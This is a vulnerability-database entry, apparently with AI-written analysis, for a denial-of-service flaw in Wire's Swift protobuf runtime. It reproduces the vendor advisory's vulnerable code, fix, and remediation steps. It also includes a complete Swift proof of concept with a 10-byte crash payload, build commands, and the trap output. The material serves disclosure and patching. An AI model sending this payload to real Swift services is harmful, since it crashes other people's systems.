Skip to main content

Wire Swift Runtime EUVDEUVD-2026-85559

| CVE-2026-61695 HIGH
Improper Validation of Array Index (CWE-129)
2026-09-23 https://github.com/square/wire GHSA-86wm-r4c5-2rc9
7.5
CVSS 3.1 · Vendor: https://github.com/square/wire
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach Swift endpoint decoding untrusted protobuf
  2. Delivery
    Send 10-byte payload with unknown START_GROUP field
  3. Exploit
    skipGroup() reads inner negative LENGTH_DELIMITED length
  4. Execution
    Negative count bypasses upper-bound check into Data(bytes:count:)
  5. Impact
    SIGTRAP aborts process, denial of service

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Array index validation
Exploitation Conditions

Exploitation requires that the application decodes attacker-controlled/untrusted protobuf bytes using Wire's Swift runtime (SPM/CocoaPods 'Wire' product) at version <=6.4.0 or a Wire 7 alpha through 7.0.0-alpha03, via ProtoDecoder.decode(_:from:). The attacker must supply a payload containing an unknown wire-type-3 START_GROUP field wrapping a LENGTH_DELIMITED field whose varint decodes to a negative signed Int32 (e.g. -128). No authentication, no user interaction, and no knowledge of the target message schema or a valid field number are needed, because the crash lives in the schema-agnostic unknown-field skipGroup() path. The key LIMITING factor is reachability, not access complexity: only Swift processes that actually feed untrusted protobuf into Wire's decoder are exposed - services decoding only trusted/internal protobuf, or those on the already-patched Kotlin/JVM runtime, are not affected by this Swift-specific advisory.

Impact

This is a legitimate, well-characterized denial-of-service issue but not a top-tier emergency. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, base 7.5) is internally consistent with the description: exploitation is remote, requires no authentication, no user interaction, and no schema knowledge because it rides the schema-agnostic unknown-group skip path. Impact is availability-only - a process crash - with no confidentiality or integrity consequence, and no scope change (S:U). A working proof-of-concept is embedded in the GitHub Security Advisory, so exploitation is trivial to reproduce, but there is no CISA KEV listing and no EPSS score provided, indicating no confirmed active exploitation. The real-world severity is heavily moderated by REACHABILITY: the flaw only bites processes that decode UNTRUSTED protobuf bytes with Wire's Swift runtime. Many Wire consumers are Kotlin/JVM (already patched under CVE-2026-45799 in 6.3.0), and Swift protobuf on iOS/macOS frequently processes trusted server payloads. The higher-risk population is server-side Swift or mobile apps accepting attacker-controlled protobuf (request bodies, websocket frames, queue payloads). Net: treat as a genuine but medium-priority DoS - patch on a normal maintenance cadence unless you run an internet-facing Swift service decoding untrusted protobuf, in which case prioritize.

Exploit ScenarioDerived

An attacker sends a 10-byte protobuf payload (hex 9b060a80ffffff0f9c06) to any Swift service that decodes untrusted protobuf via Wire's ProtoDecoder.decode(_:from:) - e.g. a server-side Swift API accepting protobuf request bodies or websocket frames. The payload embeds an unknown START_GROUP field whose inner LENGTH_DELIMITED field carries a varint decoding to Int32 -128, which passes the buffer's upper-bound-only check and reaches Foundation's Data(bytes:count:), triggering a SIGTRAP that aborts the process. A public proof-of-concept demonstrating this crash is included in the vendor advisory, and no authentication or user interaction is required.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.6% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 23, 2026

Denial of service in Wire's Swift runtime (the SPM/CocoaPods 'Wire' product, implemented by wire-runtime-swift) lets an unauthenticated remote attacker abort a decoding process with a single 10-byte protobuf payload; all released Swift runtime versions through 6.4.0 and Wire 7 alphas through 7.0.0-alpha03 are affected. An unknown START_GROUP field wrapping a LENGTH_DELIMITED field whose varint decodes to a negative Int32 (for example -128) slips past a bounds check in ReadBuffer.readData(count:) that only validates the upper bound, and the negative count reaches Foundation's Data(bytes:count:), which traps with SIGTRAP instead of throwing the documented, catchable ProtoDecoder.Error. Publicly available exploit code exists (the vendor advisory ships a complete proof of concept), but there is no indication of active exploitation; the CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) reflects a low-complexity remote availability impact confined to Swift applications that actually feed untrusted protobuf bytes to Wire's decoder.

RemediationAI

Vendor-released patch: Wire 6.4.1 for the supported 6.x release line, and Wire 7.0.0-alpha04 for the 7.x alpha line (the first 7.x release containing PR #3616). Swift Package Manager users should update to .package(url: "https://github.com/square/wire.git", from: "6.4.1"); CocoaPods users should raise the 'Wire' pod to 6.4.1 or later; Wire 7 alpha users should move to 7.0.0-alpha04 or later. The fix adds a readLengthDelimitedLength(tag:) helper in ProtoReader.swift that throws ProtoDecoder.Error.invalidStructure on negative lengths, plus defense in depth in ReadBuffer.swift by rejecting negative counts before pointer arithmetic and before Data(bytes:count:), as merged in PR #3616 (https://github.com/square/wire/pull/3616) with commits 81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e and 24043b6b3a5e5974a978f2745b76d50b31407c1c. There is no complete application-level workaround for code that must decode untrusted protobuf with a vulnerable Wire Swift runtime: services can reduce exposure by refusing to decode untrusted protobuf with Wire at all, by validating or filtering payloads before decoding, or by rejecting protobuf group wire types (START_GROUP 3 and END_GROUP 4) at an outer protocol boundary such as an API gateway or an ingress filter - with the trade-off that legitimate proto2 group fields would also be refused and that the vulnerable path is schema-agnostic unknown-field skipping inside the runtime, so such filtering is only a stopgap, not a substitute for upgrading. Because the crash is a SIGTRAP that escapes Wire's documented error boundary, wrapping ProtoDecoder.decode(_:from:) in do/catch does not mitigate the issue. Full details and the proof of concept are in the advisory at https://github.com/square/wire/security/advisories/GHSA-86wm-r4c5-2rc9.

Affected VersionsENISA

Wire < 6.4.1
Wire 7.0.0-alpha01, < 7.0.0-alpha04

Affected Packages

euvd wire fix: 6.4.1
euvd wire_7_0_0_alpha01 fix: 7.0.0-alpha04

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The defect sits in Wire's Swift protobuf runtime, specifically ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) in wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift. Protobuf encodes fields as a tag (field number plus 3-bit wire type) followed by a payload; wire type 3 marks START_GROUP and type 4 marks END_GROUP, the legacy proto2 group construct. Wire, like most runtimes, must skip unknown fields without schema knowledge, so skipGroup() recursively parses unknown fields purely from wire-format structure. Inside a skipped group, a LENGTH_DELIMITED field has a varint length that the code converts with Int32(truncatingIfNeeded:), which can yield a negative value (0x80 0xFF 0xFF 0xFF 0x0F decodes to -128 as a signed 32-bit integer). That negative length was stored in reader state with no sign validation and forwarded by ProtoReader.readData() to ReadBuffer.readData(count:). The ReadBuffer guard only performed an upper-bound check (pointer.advanced(by: count) <= end), which a negative count trivially satisfies because it moves the pointer backwards; the count was then handed directly to Foundation's Data(bytes:count:), whose internal precondition fails on a negative count and raises SIGTRAP (Signal 5). This is CWE-129 (Improper Validation of Array Index): a signed length derived from attacker-controlled input is used as an index/count without validating that it is non-negative. The vulnerability is the Swift sibling of CVE-2026-45799 / GHSA-7xpr-hc2w-34m9, where the Kotlin/JVM readers in com.squareup.wire:wire-runtime were fixed in 6.3.0 with a length < 0 rejection; that fix did not cover the functionally equivalent Swift skipGroup() path. The affected package identifier is pkg:swift/github.com_square_wire, spanning iOS, macOS, and server-side Swift (Linux) deployments built with SPM or CocoaPods.

Know when Swift gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/square/wire) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 7.5 HIGH

Remote, no auth or interaction, trivial single-payload trigger via schema-agnostic skip path; process crash yields A:H only with no confidentiality/integrity impact and no scope change.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/square/wire).

CVSS VectorVendor: https://github.com/square/wire

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

Wire's Swift runtime (Wire SPM/CocoaPods product, implemented by wire-runtime-swift) did not reject a negative LENGTH_DELIMITED field length while skipping an unknown protobuf group. A crafted 10-byte protobuf payload could cause ProtoReader.skipGroup() to read a length-delimited field whose varint decodes to a negative Int32. That negative value was then passed to ReadBuffer.readData(count:).

ReadBuffer checked only that the requested read did not go past the end of the buffer. It did not reject negative counts. As a result, a negative count could pass the bounds check and reach Foundation's Data(bytes:count:), which traps and aborts the process (Signal 5 / SIGTRAP) instead of throwing Wire's documented ProtoDecoder.Error.

This is the Swift sibling of the Kotlin/JVM negative-length-in-skipGroup() issue fixed in com.squareup.wire:wire-runtime 6.3.0 (CVE-2026-45799, GHSA-7xpr-hc2w-34m9). That earlier fix added a length < 0 rejection to the Kotlin readers. The functionally similar Swift ProtoReader.skipGroup() path was not covered by that fix and remained vulnerable in released Swift runtime versions through 6.4.0, and in Wire 7 alpha releases through 7.0.0-alpha03.

The issue is fixed for the supported 6.x release line in Wire 6.4.1.

skipGroup() runs for any unknown field with wire type 3 (START_GROUP), so no schema knowledge is required. A service decoding any message type with ProtoDecoder.decode(_:from:) over untrusted bytes can be reached by sending an unknown group field.

Impact

Denial of service.

A single 10-byte attacker-controlled protobuf payload can abort the process with an unrecoverable runtime trap. Callers following Wire's documented Swift API generally expect ProtoDecoder.decode(_:from:) to throw catchable decoding errors such as ProtoDecoder.Error. They cannot catch a SIGTRAP from Foundation's Data(bytes:count:).

Any Swift process that decodes untrusted protobuf data with Wire's Swift runtime may be affected. Examples include iOS, macOS, or server-side Swift applications that accept protobuf request bodies, websocket frames, stored messages, queue payloads, files, or any other attacker-controlled serialized protobuf bytes.

The vulnerability requires:

  • The application decodes untrusted protobuf bytes with Wire's Swift runtime.
  • The attacker can provide a protobuf payload containing an unknown

START_GROUP field.

  • That group contains a LENGTH_DELIMITED field whose encoded length decodes

to a negative signed 32-bit value.

The attacker does not need:

  • Authentication.
  • User interaction.
  • Knowledge of the target message schema.
  • A valid known field number in the target schema.

Affected Products

Swift Package Manager / CocoaPods Wire

Affected versions:

  • All released Swift runtime versions through 6.4.0.
  • Wire 7 alpha releases through 7.0.0-alpha03.

Patched versions:

  • 6.4.1 for the supported 6.x release line.
  • 7.0.0-alpha04 for the 7.x alpha line (the first 7.x release containing

PR #3616).

Recommended action:

  • Upgrade to Wire 6.4.1 or later on the supported stable line.
  • If using a Wire 7 alpha release, upgrade to 7.0.0-alpha04 or a later 7.x

release containing PR #3616.

Vulnerable Code

The vulnerable code was in wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift, skipGroup(expectedEndTag:unknownFieldsWriter:):

swift
case .lengthDelimited:
    let length = try Int32(truncatingIfNeeded: buffer.readVarint()) // can be negative, e.g. -128
    state = .lengthDelimited(length: Int(length))
    let data = try readData()                                       // no length >= 0 check
    try unknownFieldsWriter.encode(tag: tag, value: data)

ProtoReader.readData() then forwarded the stored negative length to the buffer:

swift
func readData() throws -> Data {
    guard case let .lengthDelimited(length) = state else {
        fatalError("Decoding field as length delimited when key was not LENGTH_DELIMITED")
    }
    state = .tag
    return try buffer.readData(count: length)   // count = -128
}

The bounds check in wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift checked only the upper bound. A negative count could pass this guard and then be handed to Foundation:

swift
func verifyAdditional(count: Int) throws {
    guard pointer.advanced(by: count) <= end else {   // pointer + (-128) <= end is true
        throw ProtoDecoder.Error.unexpectedEndOfData
    }
}

func readData(count: Int) throws -> Data {
    try verifyAdditional(count: count)                 // negative count passes the guard
    let data = Data(bytes: pointer, count: count)      // Data(bytes:count:) with count = -128 traps
    pointer = pointer.advanced(by: count)
    return data
}

The normal typed length-delimited decode path is comparatively shielded by other state transitions. The schema-agnostic unknown-group skip path was the important path because it threaded an unvalidated signed length into ReadBuffer.readData(count:).

How Input Reaches the Sink

The reachable decoding path is:

text
ProtoDecoder.decode(_:from:)
  -> message init(from: ProtoReader)
  -> ProtoReader.nextTag(token:)
  -> ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:)
  -> ProtoReader.readData()
  -> ReadBuffer.readData(count:)
  -> Data(bytes:count:)

When ProtoReader.nextTag(token:) sees an unknown field with wire type START_GROUP, it calls the private skipGroup(...) helper. Inside that skipped group, an inner LENGTH_DELIMITED field with a negative varint length reaches readData(), then ReadBuffer.readData(count:), then Data(bytes:count:).

The outer field number is arbitrary. The proof of concept uses field 99, but the field does not need to exist in the target schema because unknown-field skipping is schema-agnostic.

Proof Of Concept

The following proof of concept demonstrates the vulnerable behavior. It uses an empty ProtoDecodable message that treats every field as unknown, so an unknown START_GROUP field drives ProtoReader.nextTag(token:) into the private skipGroup() implementation.

Package.swift:

swift
// swift-tools-version:5.9
import PackageDescription

let package = Package(
    name: "poc",
    platforms: [.macOS(.v12)],
    dependencies: [
        .package(url: "https://github.com/square/wire.git", exact: "6.4.0")
    ],
    targets: [
        .executableTarget(
            name: "poc",
            dependencies: [.product(name: "Wire", package: "wire")],
            path: "Sources/poc"
        )
    ]
)

Sources/poc/main.swift:

swift
import Foundation
import Wire

func log(_ s: String) {
    FileHandle.standardError.write((s + "\n").data(using: .utf8)!)
}

// A ProtoDecodable message that treats every field as unknown. An unknown
// START_GROUP field drives ProtoReader.nextTag() into the private skipGroup().
struct EmptyMessage: ProtoDecodable {
    static var protoSyntax: ProtoSyntax? { .proto2 }
    init() {}
    init(from reader: ProtoReader) throws {
        let token = try reader.beginMessage()
        while let _ = try reader.nextTag(token: token) {}
        let _: UnknownFields = try reader.endMessage(token: token)
    }
}

// hex 9b06 0a 80ffffff0f 9c06
//   0x9B 0x06                 field 99, wire type 3 (START_GROUP)
//   0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group
//   0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint decoding to signed Int32 = -128
//   0x9C 0x06                 field 99, END_GROUP
let attackerPayload = Data([0x9B, 0x06, 0x0A, 0x80, 0xFF, 0xFF, 0xFF, 0x0F, 0x9C, 0x06])

// Negative control: same group, inner length-delimited field has valid length 0.
let benignPayload = Data([0x9B, 0x06, 0x0A, 0x00, 0x9C, 0x06])

let decoder = ProtoDecoder()

log("=== NEGATIVE CONTROL (valid length 0) ===")
do {
    _ = try decoder.decode(EmptyMessage.self, from: benignPayload)
    log("negative-control: decoded OK, no crash (expected)")
} catch {
    log("negative-control: threw \(type(of: error)): \(error)")
}

log("=== ATTACK (negative length -128 inside skipped group) ===")
do {
    _ = try decoder.decode(EmptyMessage.self, from: attackerPayload)
    log("attack: decoded OK (not vulnerable / patched)")
} catch let e as ProtoDecoder.Error {
    log("attack: threw documented ProtoDecoder.Error: \(e) (not vulnerable / patched)")
} catch {
    log("attack: threw unexpected \(type(of: error)): \(error)")
}
log("=== reached end of main (no crash) ===")

Build and run:

bash
swift build
SWIFT_BACKTRACE=enable=yes ./.build/debug/poc

Expected behavior on vulnerable versions through 6.4.0:

text
=== NEGATIVE CONTROL (valid length 0) ===
negative-control: decoded OK, no crash (expected)
=== ATTACK (negative length -128 inside skipped group) ===

*** Signal 5: Backtracing from 0x191b9d68c... done ***

*** Program crashed: System trap at 0x0000000191b9d68c ***

Thread 0 crashed:

  0               specialized Data.InlineData.init(_:) in Foundation
  1 [ra]          specialized Data.init(bytes:count:) in Foundation
  2 [ra]          ReadBuffer.readData(count:) at ReadBuffer.swift
  3 [ra]          ProtoReader.readData() at ProtoReader.swift
  4 [ra]          ProtoReader.skipGroup(expectedEndTag:unknownFieldsWriter:) at ProtoReader.swift
  5 [ra]          closure #1 in ProtoReader.nextTag(token:) at ProtoReader.swift
  6 [ra]          ProtoReader.nextTag(token:) at ProtoReader.swift
  7 [ra] [thunk]  EmptyMessage.init(from:) at main.swift
  8 [ra]          ProtoReader.decode<A>(_:) at ProtoReader.swift
  9 [ra]          ProtoDecoder.decode<A>(_:from:) at ProtoDecoder.swift
 10 [ra]          main at main.swift

The negative control, which uses the same skipped group structure but with a valid length of 0, decodes successfully. That demonstrates the crash is caused by the negative length, not by group-skipping itself.

The attack payload crashes with SIGTRAP inside Data.init(bytes:count:), reached from the unguarded skipGroup() -> readData() -> ReadBuffer.readData(count:) path. This runtime trap escapes Wire's documented ProtoDecoder.Error boundary.

Payload:

text
9b060a80ffffff0f9c06

Payload breakdown:

text
0x9B 0x06                 field 99, wire type 3 (START_GROUP)
0x0A                      field 1, wire type 2 (LENGTH_DELIMITED) inside group
0x80 0xFF 0xFF 0xFF 0x0F  5-byte varint = -128 as signed Int32
0x9C 0x06                 field 99, END_GROUP

Fix

The fix rejects negative lengths before setting the length-delimited reader state and before calling readData().

Fixed logic in wire-runtime-swift/src/main/swift/ProtoCodable/ProtoReader.swift:

swift
case .lengthDelimited:
    let length = try Int32(truncatingIfNeeded: buffer.readVarint())
    guard length >= 0 else {
        throw ProtoDecoder.Error.unexpectedEndOfData
    }
    state = .lengthDelimited(length: Int(length))
    let data = try readData()
    try unknownFieldsWriter.encode(tag: tag, value: data)

The fix also adds defense in depth in wire-runtime-swift/src/main/swift/ProtoCodable/ReadBuffer.swift by rejecting negative read counts before pointer arithmetic and before constructing Data(bytes:count:).

The fix was merged in PR #3616:

https://github.com/square/wire/pull/3616

Fix commit:

https://github.com/square/wire/commit/81ff7f24a6795d9a8be2e03f272b2d979a5d2c7e

Patched Behavior

With the fix, the same payload is rejected with a catchable ProtoDecoder.Error instead of aborting the process. Applications can handle the malformed payload using normal Swift error handling around ProtoDecoder.decode(_:from:).

Workarounds

There is no complete application-level workaround if untrusted protobuf bytes must be decoded with a vulnerable Wire Swift runtime version. Services can reduce exposure by avoiding protobuf decoding on untrusted inputs, validating or filtering payloads before decoding, or rejecting protobuf group wire types at an outer protocol boundary where that is feasible. These mitigations are not substitutes for upgrading because the vulnerable path is schema-agnostic unknown-field skipping inside the runtime decoder.

Recommended Upgrade

Upgrade to Wire 6.4.1 or later.

Swift Package Manager users should update their dependency to a patched tag:

swift
.package(url: "https://github.com/square/wire.git", from: "6.4.1")

CocoaPods users should update the Wire pod to 6.4.1 or later.

Wire 7 alpha users should upgrade to 7.0.0-alpha04 or a later 7.x release that contains PR #3616.

Relationship To GHSA-7xpr-hc2w-34m9 / CVE-2026-45799

This advisory covers the Swift runtime sibling of GHSA-7xpr-hc2w-34m9 / CVE-2026-45799.

GHSA-7xpr-hc2w-34m9 fixed the Kotlin/JVM readers in Wire 6.3.0, but the Swift runtime had a similar group-skipping path that still accepted negative lengths. This advisory is tracked separately because it affects the Swift runtime package and was fixed by a separate Swift runtime PR.

Credits

Reported by tonghuaroot.

Technical POC Analysis

CWE-129 (Improper Validation of Array Index): a signed length is derived from attacker-controlled input and used as a buffer/array count without a lower-bound check, so a negative value reaches point…

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Executive ViewAI

Why It Matters

A high-severity denial-of-service flaw in the Wire runtime for Swift - distributed as the SPM/CocoaPods 'Wire' product (wire-runtime-swift) - lets any unauthenticated remote party abort a decoding process with a single 10-byte protobuf message, affecting every released Swift runtime version through 6.4.0 and Wire 7 alphas through 7.0.0-alpha03. Because the affected component is a serialization library rather than a standalone service, the exposure is concentrated in Swift-based mobile apps and server-side services that decode Wire-formatted data from untrusted sources, where a crash translates to user-facing outages or degraded availability. The vendor has released a patch, publicly available exploit code exists (the vendor advisory ships a complete proof of concept), and there is no indication of active exploitation, so leadership should treat this as a manageable but time-sensitive dependency-hygiene and availability risk.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.6%
Top 55% exploitable
Prevalence
Medium
popular Square protobuf library, but Swift runtime narrower than Kotlin/Android usage
Threat Intel
1
1 source
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.6%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

59
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

More in Swift

View all
CVE-2012-4406 CRITICAL
9.8 Oct 22

OpenStack Object Storage (swift) before 1.7.0 uses the loads function in the pickle Python module unsafely when storing

CVE-2017-16613 CRITICAL
9.8 Nov 21

An issue was discovered in middleware.py in OpenStack Swauth through 1.2.0 when used with OpenStack Swift through 2.15.1

CVE-2023-26154 MEDIUM POC
5.9 Dec 06

Versions of the package pubnub before 7.4.0; all versions of the package com.pubnub:pubnub; versions of the package pubn

CVE-2026-103922 CRITICAL POC
9.3 Oct 01

Untrusted-link activation inside an Ionic Capacitor app on Android or iOS can render attacker-controlled HTML at the app

CVE-2018-4220 HIGH
8.8 Jun 08

An issue was discovered in certain Apple products. Rated high severity (CVSS 8.8), this vulnerability is remotely exploi

CVE-2026-71190 HIGH
8.7 Aug 05

Remote unauthenticated denial of service in OpenStack Swift through 2.38.0 allows any network-reachable attacker to exha

CVE-2016-0738 HIGH
7.5 Jan 29

OpenStack Object Storage (Swift) before 2.3.1 (Kilo), 2.4.x, and 2.5.x before 2.5.1 (Liberty) do not properly close serv

CVE-2016-0737 HIGH
7.5 Jan 29

OpenStack Object Storage (Swift) before 2.4.0 does not properly close client connections, which allows remote attackers

CVE-2022-32389 HIGH
7.5 Jul 14

Isode SWIFT v4.0.2 was discovered to contain hard-coded credentials in the Registry Editor. Rated high severity (CVSS 7.

CVE-2022-1642 HIGH
7.5 Jun 16

A program using swift-corelibs-foundation is vulnerable to a denial of service attack caused by a potentially malicious

CVE-2020-9861 HIGH
7.5 Nov 02

A stack overflow issue existed in Swift for Linux. Rated high severity (CVSS 7.5), this vulnerability is remotely exploi

CVE-2026-49017 HIGH
7.1 May 27

Denial of service in OpenStack Swift's s3api middleware allows an authenticated S3 API user to permanently hang proxy-se

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy